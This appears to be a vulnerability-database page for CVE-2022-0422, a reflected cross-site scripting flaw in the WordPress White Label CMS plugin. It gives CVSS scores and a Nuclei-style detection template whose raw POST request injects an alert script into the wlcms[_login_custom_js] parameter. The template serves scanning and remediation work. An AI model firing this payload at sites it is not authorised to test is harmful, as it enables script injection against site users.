CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
41.5%
WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
id: CVE-2022-0422
info:
name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting
author: random-robbie
severity: medium
description: |
WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
- https://plugins.trac.wordpress.org/changeset/2672615
- https://nvd.nist.gov/vuln/detail/CVE-2022-0422
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0422
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.41295
cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: videousermanuals
product: white_label_cms
framework: wordpress
tags: cve2022,cve,wordpress,xss,wp-plugin,wpscan,videousermanuals
http:
- raw:
- |
POST /wp-login.php?wlcms-action=preview HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(/XSS/);"
- type: word
part: body
words:
- "wlcms-login-wrapper"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100e7e94c080632372fa5c50babf39ba7a30d8605eefd28800449f48e9c0bb3d87602210093ee0d9733e100571cf208953494af1da3728d68c8cf918a63c5d3c99cb6d529:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
41.5%